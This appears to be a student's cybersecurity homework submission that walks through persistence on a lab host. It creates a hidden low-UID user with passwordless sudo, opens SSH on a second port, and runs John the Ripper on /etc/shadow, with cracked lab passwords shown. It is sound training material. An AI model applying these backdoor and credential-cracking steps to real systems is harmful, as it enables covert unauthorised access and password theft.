

# Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

## Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
  - **sudo adduser sysd**
2. Give your secret user a password:
  - **sudo passwd sysd**
3. Give your secret user a system UID < 1000:
  - **sudo usermod -u 300 sysd**
4. Give your secret user the same GID:
  - **sudo groupmod -g 300 sysd**
5. Give your secret user full sudo access without the need for a password:
  - **sudo visudo**
  - **Scroll to bottom of page**
6. Test that sudo access works without your password: **sudo -l**

Your bash commands here:

**sysd ALL=(ALL) NOPASSWD:ALL**

## Step 2: Smooth Sailing

1. Edit the sshd\_config file:

**sudo nano /etc/ssh/sshd\_config**

```
# This sshd was compiled with PATH=/usr
# The strategy used for options in the
# OpenSSH is to specify options with th
# possible, but leave them commented.
# default value.

Port 22
Port 2222
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key

^G Get Help  ^O Write Out ^W Where Is
^X Exit      ^R Read File ^\ Replace
```

### Step 3: Testing Your Configuration Update

1. Restart the SSH service:
  - **service ssh restart**
2. Exit the root account:
  - **ctrl+D**
3. SSH to the target machine using your sysd account and port 2222:
  - **ssh sysd@192.168.6.105 -p 2222**
4. Use sudo to switch to the root user:
  - **sudo su**

### Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:
  - **ssh sysd@192.168.6.105 -p 2222**
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
  - **sudo su**
  - **john /etc/shadow**

```
Loaded 8 password hashes with 8
t(3) [?/64])
Press 'q' or Ctrl-C to abort, a
computer      (stallman)
freedom       (babbage)
trustno1      (mitnik)
dragon        (lovelace)
123           (sysd)
lakers        (turing)
passw0rd      (sysadmin)
Goodluck!     (student)
8g 0:00:03:56 100% 2/3 0.03386g
.Jupiter!
Use the "--show" option to disp
ably
Session completed
```